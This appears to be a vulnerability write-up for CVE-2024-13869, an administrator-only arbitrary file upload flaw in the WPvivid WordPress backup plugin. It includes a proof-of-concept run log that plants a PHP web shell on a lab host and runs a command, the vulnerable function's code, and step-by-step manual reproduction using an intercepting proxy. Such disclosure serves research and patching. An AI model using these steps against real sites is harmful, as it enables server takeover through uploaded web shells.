Migration,Backup, Staging – WPvivid <= 0.9.112 - Authenticated (Admin+) Arbitrary File Upload via wpvivid_upload_file
CVE-2024-13869
The Migration, Backup, Staging – WPvivid Backup & Migration plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the upload_files
function in all versions up to, and including, 0.9.112
. This makes it possible for authenticated attackers, with Administrator-level access and above, to upload arbitrary files on the affected site’s server which may make remote code execution possible.
NOTE: Uploaded files are only accessible on WordPress instances running on the NGINX web server as the existing .htaccess within the target file upload folder prevents access on Apache servers.
TL;DR Exploits
- A POC CVE-2024-13869.py is provided to demonstrate an administrator uploading a web shell named
hack.php
.
python3 ./CVE-2024-13869.py https://lab0.hacker admin PASSWORD
Logging into: https://lab0.hacker/wp-admin
Extracting nonce values...
ajax_nonce: a993fb1986
Uploading web shell: hack.php
{"result":"success"}
Web Shell At: https://lab0.hacker/wp-content/wpvividbackups/hack.php
Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
altname enp0s3
inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
valid_lft 46962sec preferred_lft 46962sec
inet6 fd00::a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute
valid_lft 86190sec preferred_lft 14190sec
inet6 fe80::a00:27ff:fe5b:342f/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:c7:fd:25 brd ff:ff:ff:ff:ff:ff
altname enp0s8
inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fec7:fd25/64 scope link
valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:28:bd:99:83 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
</pre>
Details
It appears the wpvivid_upload_file
action calls the upload_files
function on line 293 of /wp-content/plugins/wpvivid-backuprestore/includes/class-wpvivid-backup-uploader.php
, which checks the nonce and user’s permissions, but not the file type being uploaded to the server.
function upload_files()
{
check_ajax_referer( 'wpvivid_ajax', 'nonce' );
$check=current_user_can('manage_options');
$check=apply_filters('wpvivid_ajax_check_security',$check);
if(!$check)
{
die();
}
try
{
$chunk = isset($_REQUEST["chunk"]) ? intval(sanitize_key($_REQUEST["chunk"])) : 0;
$chunks = isset($_REQUEST["chunks"]) ? intval(sanitize_key($_REQUEST["chunks"])) : 0;
$fileName = isset($_REQUEST["name"]) ? sanitize_text_field($_REQUEST["name"]) : $_FILES["file"]["name"];
$backupdir=WPvivid_Setting::get_backupdir();
$filePath = WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$backupdir.DIRECTORY_SEPARATOR.$fileName;
$out = @fopen("{$filePath}.part", $chunk == 0 ? "wb" : "ab");
if ($out)
{
// Read binary input stream and append it to temp file
$options['test_form'] =true;
$options['action'] ='wpvivid_upload_files';
$options['test_type'] = false;
$options['ext'] = 'zip';
$options['type'] = 'application/zip';
add_filter('upload_dir', array($this, 'upload_dir'));
$status = wp_handle_upload($_FILES['async-upload'],$options);
remove_filter('upload_dir', array($this, 'upload_dir'));
$in = @fopen($status['file'], "rb");
if ($in)
{
while ($buff = fread($in, 4096))
fwrite($out, $buff);
}
else
{
echo wp_json_encode(array('result'=>'failed','error'=>"Failed to open tmp file.path:".$status['file']));
die();
}
@fclose($in);
@fclose($out);
@wp_delete_file($status['file']);
}
else
{
echo wp_json_encode(array('result'=>'failed','error'=>"Failed to open input stream.path:{$filePath}.part"));
die();
}
if (!$chunks || $chunk == $chunks - 1)
{
// Strip the temp .part suffix off
rename("{$filePath}.part", $filePath);
}
echo wp_json_encode(array('result' => WPVIVID_SUCCESS));
}
catch (Exception $error)
{
$message = 'An exception has occurred. class: '.get_class($error).';msg: '.$error->getMessage().';code: '.$error->getCode().';line: '.$error->getLine().';in_file: '.$error->getFile().';';
error_log($message);
echo wp_json_encode(array('result'=>'failed','error'=>$message));
}
die();
}
Manual Reproduction
- Login to the admin panel and navigate to the
WPvivid Backup
tab. - Under
Backup & Restore
, click theBackup Now
button to create a new backup and download it so we can use the.zip
file in the following steps. - Under the
Backup & Restore
section again, navigate to theUpload
tab and select the.zip
we’ve just created. - Start up Burp Suite or a similar tool and begin intercepting the traffic.
- Click
Upload
and intercept thePOST
request to/wp-admin/admin-ajax.php
calling thewpvivid_upload_files
action. - Modify the request to include an arbitrary file, in the example below we’re uploading a php web shell.
- Send the request and recieve
{"result":"success"}
. - Browse the web shell at
https://example.com/wp-content/wpvividbackups/webshell.php
and execute code.